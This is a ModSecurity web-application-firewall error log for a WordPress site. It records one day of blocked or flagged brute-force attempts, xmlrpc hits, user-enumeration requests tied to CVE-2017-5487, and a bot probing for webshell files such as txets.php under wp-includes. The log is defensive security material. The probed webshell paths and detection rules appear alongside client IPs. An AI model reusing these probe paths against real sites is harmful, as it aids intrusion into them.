[Sat Apr 18 07:10:11.731945 2026] [:error] [pid 13023:tid 13044] [client 141.98.11.120:62335] [client 141.98.11.120] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.120, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aeK90_1e7hG8DAeABB8c7gAAARM"]
[Sat Apr 18 07:10:23.507248 2026] [:error] [pid 13023:tid 13036] [client 141.98.11.120:62335] [client 141.98.11.120] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "aeK93_1e7hG8DAeABB8dEQAAAQs"]
[Sat Apr 18 07:10:24.049513 2026] [:error] [pid 13023:tid 13038] [client 141.98.11.120:62335] [client 141.98.11.120] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.120, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aeK94P1e7hG8DAeABB8dEgAAAQ0"], referer: http://rcacivilgroup.com/wp-login.php
[Sat Apr 18 07:10:33.831872 2026] [:error] [pid 13023:tid 13030] [client 141.98.11.120:62335] [client 141.98.11.120] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.120, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aeK96f1e7hG8DAeABB8dRwAAAQU"], referer: http://rcacivilgroup.com/wp-login.php
[Sat Apr 18 07:35:01.608352 2026] [:error] [pid 13023:tid 13047] [client 88.87.70.158:59468] [client 88.87.70.158] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 88.87.70.158, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeLDpf1e7hG8DAeABB8t7gAAARY"]
[Sat Apr 18 08:43:31.287490 2026] [:error] [pid 34237:tid 34239] [client 85.128.143.124:39352] [client 85.128.143.124] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.124, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeLTsxBmX4Wq5a6rxfbqSgAAAUA"]
[Sat Apr 18 08:45:03.952498 2026] [:error] [pid 34237:tid 34242] [client 84.201.130.79:50376] [client 84.201.130.79] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 84.201.130.79, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeLUDxBmX4Wq5a6rxfbrVQAAAUM"]
[Sat Apr 18 08:50:24.179183 2026] [:error] [pid 9970:tid 9996] [client 138.201.172.7:52116] [client 138.201.172.7] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.201.172.7, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeLVUCYdRLRhVmaIMx0QCAAAANY"]
[Sat Apr 18 10:13:10.355677 2026] [autoindex:error] [pid 9863:tid 9873] [client 164.68.113.198:52538] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sat Apr 18 10:13:34.796937 2026] [:error] [pid 13023:tid 13025] [client 152.42.226.162:48940] [client 152.42.226.162] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.42.226.162, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeLozv1e7hG8DAeABB9xCwAAAQA"]
[Sat Apr 18 10:15:05.760704 2026] [:error] [pid 9970:tid 9984] [client 180.110.203.108:54812] [client 180.110.203.108] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aeLpKSYdRLRhVmaIMx0kyAAAAMo"]
[Sat Apr 18 10:37:15.957098 2026] [:error] [pid 34290:tid 34333] [client 5.42.124.21:50836] [client 5.42.124.21] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.42.124.21, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeLuWxqX6WpmmAXOBi-SagAAAc4"]
[Sat Apr 18 11:01:48.584162 2026] [:error] [pid 9864:tid 9928] [client 101.32.52.164:59672] [client 101.32.52.164] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aeL0HICFeowknfXHM7ly5QAAAFY"]
[Sat Apr 18 11:19:34.187427 2026] [:error] [pid 34288:tid 34307] [client 85.128.143.151:33704] [client 85.128.143.151] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.151, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeL4RuTIiy__PtiLmpmGDwAAAY8"]
[Sat Apr 18 12:11:35.855795 2026] [:error] [pid 34237:tid 34239] [client 78.88.230.100:59346] [client 78.88.230.100] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.88.230.100, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeMEdxBmX4Wq5a6rxfYnwAAAAUA"]
[Sat Apr 18 12:42:43.885467 2026] [:error] [pid 9864:tid 9914] [client 68.221.134.82:15108] [client 68.221.134.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/themes.php"] [unique_id "aeMLw4CFeowknfXHM7mY8gAAAEg"]
[Sat Apr 18 12:42:44.362712 2026] [:error] [pid 9864:tid 9930] [client 68.221.134.82:34393] [client 68.221.134.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/themes.php"] [unique_id "aeMLxICFeowknfXHM7mY9AAAAFg"]
[Sat Apr 18 12:42:44.838946 2026] [:error] [pid 9864:tid 9918] [client 68.221.134.82:8947] [client 68.221.134.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/themes.php"] [unique_id "aeMLxICFeowknfXHM7mY9gAAAEw"]
[Sat Apr 18 12:42:45.315641 2026] [:error] [pid 9864:tid 9906] [client 68.221.134.82:8956] [client 68.221.134.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/themes.php"] [unique_id "aeMLxYCFeowknfXHM7mY-AAAAEE"]
[Sat Apr 18 13:43:10.752345 2026] [:error] [pid 9970:tid 9990] [client 54.37.239.214:54068] [client 54.37.239.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.37.239.214, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeMZ7iYdRLRhVmaIMx1dogAAANA"]
[Sat Apr 18 14:11:03.212789 2026] [:error] [pid 9970:tid 9982] [client 46.246.39.245:59352] [client 46.246.39.245] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.246.39.245, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeMgdyYdRLRhVmaIMx1kpwAAAMg"]
[Sat Apr 18 15:38:39.611458 2026] [:error] [pid 9863:tid 9889] [client 51.75.118.97:34694] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/robots.txt"] [unique_id "aeM0_zjjiypiFrTucbKmyQAAABA"]
[Sat Apr 18 15:38:43.397895 2026] [:error] [pid 9864:tid 9920] [client 51.75.118.97:34706] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/robots.txt"] [unique_id "aeM1A4CFeowknfXHM7nBRQAAAE4"]
[Sat Apr 18 15:42:56.177738 2026] [:error] [pid 13023:tid 13045] [client 209.38.89.62:35230] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shop/wp-admin/install.php"] [unique_id "aeM2AP1e7hG8DAeABB_I_QAAARQ"]
[Sat Apr 18 15:52:38.096776 2026] [:error] [pid 9970:tid 9997] [client 223.123.11.57:3498] [client 223.123.11.57] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.123.11.57, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeM4RiYdRLRhVmaIMx13GAAAANc"]
[Sat Apr 18 15:52:43.399905 2026] [:error] [pid 9864:tid 9906] [client 223.123.11.57:3502] [client 223.123.11.57] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.123.11.57, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeM4S4CFeowknfXHM7nETQAAAEE"]
[Sat Apr 18 15:52:54.072651 2026] [:error] [pid 9970:tid 9982] [client 223.123.11.57:3495] [client 223.123.11.57] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.123.11.57, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeM4ViYdRLRhVmaIMx13KAAAAMg"]
[Sat Apr 18 15:53:04.521761 2026] [:error] [pid 9970:tid 9991] [client 223.123.11.57:3515] [client 223.123.11.57] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.123.11.57, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeM4YCYdRLRhVmaIMx13YAAAANE"]
[Sat Apr 18 15:53:15.159798 2026] [:error] [pid 9970:tid 9976] [client 223.123.11.57:3519] [client 223.123.11.57] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.123.11.57, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeM4ayYdRLRhVmaIMx13bwAAAMI"]
[Sat Apr 18 16:26:31.007902 2026] [:error] [pid 34290:tid 34343] [client 84.201.130.79:52982] [client 84.201.130.79] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 84.201.130.79, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeNANxqX6WpmmAXOBi_aZwAAAdg"]
[Sat Apr 18 16:46:42.041278 2026] [:error] [pid 34237:tid 34239] [client 23.98.148.92:50880] [client 23.98.148.92] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 23.98.148.92, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeNE8hBmX4Wq5a6rxfZNyAAAAUA"]
[Sat Apr 18 16:57:23.664272 2026] [:error] [pid 34290:tid 34319] [client 43.135.133.241:40176] [client 43.135.133.241] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aeNHcxqX6WpmmAXOBi_hXQAAAcA"]
[Sat Apr 18 16:58:04.276342 2026] [:error] [pid 13023:tid 13033] [client 105.157.41.122:11449] [client 105.157.41.122] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 105.157.41.122, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeNHnP1e7hG8DAeABB_SRQAAAQg"]
[Sat Apr 18 16:58:06.294864 2026] [:error] [pid 13023:tid 13041] [client 105.157.41.122:50806] [client 105.157.41.122] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "aeNHnv1e7hG8DAeABB_SUQAAARA"]
[Sat Apr 18 16:58:10.819519 2026] [:error] [pid 13023:tid 13026] [client 105.157.41.122:50806] [client 105.157.41.122] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "aeNHov1e7hG8DAeABB_SWwAAAQE"]
[Sat Apr 18 17:12:25.370032 2026] [:error] [pid 13023:tid 13046] [client 49.205.115.102:9787] [client 49.205.115.102] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.205.115.102, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeNK-f1e7hG8DAeABB_YlwAAARU"]
[Sat Apr 18 17:15:27.858806 2026] [:error] [pid 13023:tid 13039] [client 49.205.115.102:10055] [client 49.205.115.102] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "aeNLr_1e7hG8DAeABB_Y8wAAAQ4"]
[Sat Apr 18 17:17:21.779898 2026] [:error] [pid 13023:tid 13033] [client 49.205.115.102:10102] [client 49.205.115.102] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.205.115.102, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeNMIf1e7hG8DAeABB_ZSQAAAQg"]
[Sat Apr 18 17:26:51.127813 2026] [:error] [pid 9864:tid 9907] [client 43.166.242.189:50922] [client 43.166.242.189] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aeNOW4CFeowknfXHM7ncIwAAAEI"]
[Sat Apr 18 19:16:34.300003 2026] [:error] [pid 34290:tid 34320] [client 141.95.19.158:41290] [client 141.95.19.158] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 141.95.19.158, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeNoEhqX6WpmmAXOBi8JjwAAAcE"]
[Sat Apr 18 19:34:48.783609 2026] [:error] [pid 9864:tid 9929] [client 159.223.226.118:49484] [client 159.223.226.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.223.226.118, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeNsWICFeowknfXHM7kIwwAAAFc"]
[Sat Apr 18 19:39:00.666216 2026] [:error] [pid 34290:tid 34339] [client 104.208.160.135:48902] [client 104.208.160.135] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.208.160.135, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeNtVBqX6WpmmAXOBi8PHAAAAdQ"]
[Sat Apr 18 19:48:15.445685 2026] [:error] [pid 34237:tid 34250] [client 107.180.252.236:54916] [client 107.180.252.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 107.180.252.236, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeNvfxBmX4Wq5a6rxfaZawAAAUs"]
[Sat Apr 18 19:48:23.667271 2026] [:error] [pid 9865:tid 9950] [client 217.216.58.146:53292] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/postnews.php"] [unique_id "aeNvh6zb5knECIY-C-h9CAAAAI0"]
[Sat Apr 18 19:48:24.109289 2026] [:error] [pid 13023:tid 13030] [client 217.216.58.146:53305] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/cgi-bin/postnews.php"] [unique_id "aeNviP1e7hG8DAeABB__rwAAAQU"]
[Sat Apr 18 19:48:24.518832 2026] [:error] [pid 9864:tid 9913] [client 217.216.58.146:53318] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/txets.php"] [unique_id "aeNviICFeowknfXHM7kPCgAAAEc"]
[Sat Apr 18 19:48:24.909148 2026] [:error] [pid 9865:tid 9941] [client 217.216.58.146:53332] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/txets.php"] [unique_id "aeNviKzb5knECIY-C-h9CwAAAIQ"]
[Sat Apr 18 19:48:25.338546 2026] [:error] [pid 9864:tid 9908] [client 217.216.58.146:53345] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/txets.php"] [unique_id "aeNviYCFeowknfXHM7kPDQAAAEM"]
[Sat Apr 18 19:48:25.757928 2026] [:error] [pid 34288:tid 34306] [client 217.216.58.146:53356] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rest-api/txets.php"] [unique_id "aeNvieTIiy__PtiLmpnP0AAAAY4"]
[Sat Apr 18 19:48:26.181928 2026] [:error] [pid 34237:tid 34251] [client 217.216.58.146:53370] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/post-template/txets.php"] [unique_id "aeNvihBmX4Wq5a6rxfaZfAAAAUw"]
[Sat Apr 18 19:48:26.594707 2026] [:error] [pid 13023:tid 13027] [client 217.216.58.146:53383] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/txets.php"] [unique_id "aeNviv1e7hG8DAeABB__sQAAAQI"]
[Sat Apr 18 19:48:27.010030 2026] [:error] [pid 34237:tid 34246] [client 217.216.58.146:53399] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/txets.php"] [unique_id "aeNvixBmX4Wq5a6rxfaZgQAAAUc"]
[Sat Apr 18 19:48:27.417399 2026] [:error] [pid 34290:tid 34326] [client 217.216.58.146:53413] [client 217.216.58.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/schallfuns.php"] [unique_id "aeNvixqX6WpmmAXOBi8R-AAAAcc"]
